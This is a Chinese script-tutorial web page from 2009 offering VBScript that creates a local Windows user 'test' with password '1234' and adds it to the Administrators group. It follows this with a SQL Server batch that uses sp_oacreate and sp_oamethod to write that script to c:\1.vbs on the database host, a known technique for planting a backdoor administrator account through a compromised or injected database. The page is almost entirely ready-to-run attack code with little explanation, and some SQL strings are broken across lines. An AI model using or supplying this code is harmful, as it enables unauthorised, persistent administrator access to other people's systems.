当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > vbs加administrator用户的代码

VBScript
tel.xls.vbs xls专杀工具
病毒专杀VBS模块
用vbs实现的一款Worm.Win32.VB.fw病毒专杀
VBScript提交表单提示-对象不支持此属性或方法
Windows Script Host之用vbs实现[浏览文件夹]功能
定时自动备份IIS的WWW日志的vbs脚本
可以将Bat转换位VBS文件的VBS脚本
用vbs实现cmd功能
VBS编程教程 (第1篇)
VBS编程教程 (第2篇)
VBS编程教程 (第3篇)
VBS编程教程 (第4篇)
VBS编程教程 (第5篇)
VBS编程教程 (第6篇)
用VBS可执行程序+Xmlhttp下载备份网上文件的代码
注册表-批处理-VBS之间的相互结合应用
用vbs实现显示系统调色板的代码
用vbs遍历文件并随机显示的脚本
用vbs实现随机读取文件的一行内容的脚本
用vbs实现读取文本文件的方法

VBScript 中的 vbs加administrator用户的代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 66 ::
收藏到网摘: n/a


set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
SQL语句如下,采用sp_oamethod过程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'